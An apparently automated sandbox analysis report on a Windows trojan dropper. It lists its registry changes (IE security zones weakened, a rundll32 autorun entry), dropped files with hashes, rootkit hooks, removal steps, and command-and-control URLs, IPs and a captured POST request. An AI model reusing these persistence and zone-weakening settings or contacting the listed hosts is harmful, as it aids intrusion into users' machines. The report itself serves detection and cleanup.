[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"willwnd.exe" = "willwnd"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process willwnd.exe:476 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 D9 57 AE 3A D8 F5 6B 7B 1B 06 86 F6 FD BD 35"
The process Rich.exe:1980 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 15 E5 41 45 1C 6E 24 9B 9F 4B 4F AF BA AC 84"
The process E4U.exe:1932 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 DB 37 DD CF 13 CA 1E 98 44 53 A4 3D 9D 73 36"
The process IC.exe:1112 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 6B A8 7F DA 6D 51 C4 D3 6F 82 0D 8C 3E 98 F1"
[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\9.tmp,"
The process EuroP.exe:948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\]
"1806" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA E1 DF 84 FA 1F 87 7F 46 BA 4F FC EC E1 D4 C7"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process SLFAT.exe:1824 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D EC AE A8 A2 01 68 80 5C 64 BC D5 C5 16 58 63"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data]
"done.exe" = "Done"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process %original file name%.exe:1676 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"ic.exe" = "CTF Loader"
[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\9.tmp, , \??\%WinDir%\TEMP\A.tmp, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\EuroP.exe,"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"EuroP.exe" = "EuroP"
"ic2.exe" = "Systray .exe stub"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"_tbp.exe" = "FrameDbl"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"Rich.exe" = "Rich"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"SLFAT.exe" = "SLFAT"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 DA 9E 94 54 68 A0 5B FB 8E AD AB 65 02 03 CF"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"E4U.exe" = "Pagefile Manager"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"tenn2.exe" = "DrawOverWindows"
"Gi.exe" = "Gi"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process _tbp.exe:1900 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB 5F BD 7F E7 79 AC 07 BD 68 BF F1 48 B7 89 AC"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
"Ydapup" = "42 01 43 03 40 05 34 07 3E 09 39 0B 48 0D 4D 0F"
Dropped PE files
MD5 | File path |
---|---|
718854b7caba09012abffa7d5836d782 | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Done.exe |
e92604e043f51c604b6d1ac3bcd3a202 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7za.exe |
efdebeacacd9e2f85bc99772890b825a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\9.tmp |
ab8f527334017fec45cc285a063e4340 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\WinInstall.exe |
12896823fb95bfb3dc9b46bcaedc9923 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\explorer.dat |
8c29d5b1b9502707ac35417194dd7962 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\Gi.exe |
67ce715c6f59d2ebbbebae9564fcf97b | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\SLFAT.exe |
6f6b6ba8fa108ddc24fdea428b165d97 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\_tbp.exe |
a94c45db924030d107edafebc29a8f09 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\tenn2.exe |
04bcec7b6cef5cd941e5097b7401b55e | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\stb1.exe |
0ba8663c43440ea72fbd8f4b7890914d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\willwnd.exe |
ed0ef0a136dec83df69f04118870003e | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\winlogon.dat |
35f28544b145d2b841823271b29e5771 | c:\WINDOWS\Temp\A.tmp |
865835bf6369d9e17e10f6df1141bb9a | c:\WINDOWS\jevc3r.dll |
78d52146a1733a12c90153f88f227ef5 | c:\WINDOWS\system32\kb.dll |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Using the driver ROOTKITPATH the Trojan intercepts DriverStartIO in a miniport driver of a hard drive controller (ATAPI) to handle request to its own files:
StartIo
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
Done.exe:816
rundll32.exe:2536
WinInstall.exe:1140
Rich.exe:1980
E4U.exe:1932
EuroP.exe:948
SLFAT.exe:1824
%original file name%.exe:1676
_tbp.exe:1900 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\quickdomainfwd[1].htm (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\js3[1].js (2843 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@quickdomainfwd[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[2].js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\12224[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\numArrow[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xt.exe (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quickdomainfwd[1].net&pid=9PO755G95 (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\searchIcon[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinInstall.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswC.tmp (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\park.lwken[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CA44QI0C.htm (0 bytes)
%WinDir%\Temp\scs11.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~DF93DE.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (1496 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (4 bytes)
%WinDir%\Fonts (632 bytes)
C:\$Directory (2052 bytes)
%System%\dllcache (648 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (768 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012016090320160904\index.dat (400 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%System%\config (4 bytes)
%WinDir%\Temp\scs12.tmp (10145 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (480 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\stb1.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nssF.tmp (1568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\willwnd.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (166 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7za.exe (18424 bytes)
%Documents and Settings%\%current user%\Application Data\Done.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\a1.7z (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\SLFAT.exe (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (14400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Rich.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (3312 bytes)
%WinDir%\jevc3r.dll (90 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\jevc3r.dll,Startup" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 23458 | 23552 | 4.5133 | 2cec663f64ef38694dc96bb9f9cb766d |
.rdata | 28672 | 4496 | 4608 | 3.58909 | db16645055619c0cc73276ff5c3adb75 |
.data | 36864 | 3774424 | 1024 | 3.26654 | b9d0aa986d9e766521436f5ad38cd7c5 |
.ndata | 3813376 | 32768 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 3846144 | 1736 | 2048 | 2.01899 | 2f2678dd9e97ae3fdffce33f180dbf60 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 78
13ab683047580206713a0f19ebe0427e
3a9d59d3c0513d9e09bdd7cd0913317a
09af02fa44c6bf227bb0d6e199a19499
6df0f423fb672c7925de87b12e214f89
6c77646a57ca346f85955675f504c751
52badfde88a0ee73f28b070519156057
09044e8d1e7cb7f6883f983c17d17bcc
0503370605c61ff728ff008dc03a1825
709c892167fce654126edb577421be29
1dc8f3bb2a983d7137276a217b4d705b
0f339065053ebd425e75b23558963750
ca5d6a20d387eb2e49389f6a39636da9
8a2f117c3e780d2a0ee0aefc9602d738
14e473d02dd6b3107715a02a70cfc4ca
450999c36485a084aa7dd1b603da875b
a51b0e4d59528d3c37c089b3920aefe1
2f92f621850cf288ff8a61cc0a7e1034
0092c82b8f71c849b1799747344a0013
848bd0a9a22e7e72609328d19e9ac880
273bae01660db7dac324f798d2c8812b
e612517c3e59b53ffb829dab9699a8f7
5853e9ba1c8d75393dcef359471d5a9e
90eeaf37ac1ec866ddf48f1f56edf745
65b18506a33d72ec059fb281acf7f87e
485f7cc7b007342caccad569a8eb6b44
Network Activity
URLs
URL | IP |
---|---|
hxxp://cogimbee.in/9823dehj9823dj.php?ini=v22MyzzjT4KjWDNmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV7ZlDeAiBMF4SEHfzfIuRtufQpaX/N/touu7plQ== | 23.253.126.58 |
hxxp://www.flvtube.net/12224 | |
hxxp://parkingcrew.net/assets/scripts/js3.js | |
hxxp://www.flvtube.net/track.php?domain=flvtube.net&toggle=browserjs&uid=MTQ3Mjg1OTIzNy40ODUzOjIwNzc2ZjRmMzdkMTI5MDdiZjI4Y2U0MGI1YmM0MTBmYTNkZjAxODBlMTYyZDQyODk2NjhhMjA0MmU5ZTg1Y2Q6NTdjYTBjNjU3NjgwOA== | |
hxxp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95 | 208.91.196.46 |
hxxp://lwken.com/click/?s=151123&c=255416 | 5.61.39.56 |
hxxp://767113.parkingcrew.net/?s=151123&c=255416 | |
hxxp://quickdomainfwd.com/px.js?ch=1 | 208.91.196.46 |
hxxp://quickdomainfwd.com/px.js?ch=2 | 208.91.196.46 |
hxxp://767113.parkingcrew.net/track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA== | |
hxxp://quickdomainfwd.com/sk-logabpstatus.php?a=cG5SaDdSNW9TTW9ySkp2dndXYmRaT0t4TUJTTWc2VFV2MlFBMGxia2Njc25kVnRMM0IvN0p2eFFucWxBb3JuMUFXY1ZUR01Fcis5a0hSYlg3bVhKeklMRHlEOHk2dGpKQkpUUEx5ZHhhS2M9&b=false | 208.91.196.46 |
hxxp://767113.parkingcrew.net/track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off | |
hxxp://a1961.g.akamai.net/__media__/js/min.js?v1.9 | |
hxxp://a1961.g.akamai.net/__media__/pics/8624/numArrow.gif | |
hxxp://a1961.g.akamai.net/__media__/pics/8624/searchIcon.gif | |
hxxp://i1.cdn-image.com/__media__/pics/8624/searchIcon.gif | 212.30.134.159 |
hxxp://i2.cdn-image.com/__media__/js/min.js?v1.9 | 212.30.134.161 |
hxxp://park.lwken.com/?s=151123&c=255416 | 54.72.9.51 |
hxxp://i1.cdn-image.com/__media__/pics/8624/numArrow.gif | 212.30.134.159 |
hxxp://park.lwken.com/track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off | 54.72.9.51 |
hxxp://park.lwken.com/track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA== | 54.72.9.51 |
2b.perfectexe.com | 204.11.56.48 |
google.ca | 173.194.113.207 |
katie.dntrx.com | 52.20.177.80 |
tudou.com | 123.126.98.149 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /9823dehj9823dj.php?ini=v22MyzzjT4KjWDNmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV7ZlDeAiBMF4SEHfzfIuRtufQpaX/N/touu7plQ== HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: cogimbee.in
User-Agent: Mozilla/6.0 (Windows; wget 3.0)
Content-Length: 197
Connection: close
Cache-Control: no-cache
data=qSrTzGL0RMCyDnY9 xJEQe5nNLundsMqfdgBGzUoJ0xVTU/DzQWC3DLbXB/UfETT1o6F2ZIbLEGVJ0MOJTSDP9PX4aSS/OagY6143bGp0y/uGVSLVL0u uo x5NraqI7DJaKGg7TCqXkTszGInUBxiK1/hKL2oFYpjsSYY8hw7jnmrVIPOVH9gda23cpItg=
HTTP/1.1 404 Not Found
Server: nginx 1.1.19
Date: Fri, 02 Sep 2016 23:33:57 GMT
X-Malware-Sinkhole: Arbor Networks
Connection: close
GET /?dn=flvtube.net&pid=9PO755G95 HTTP/1.1
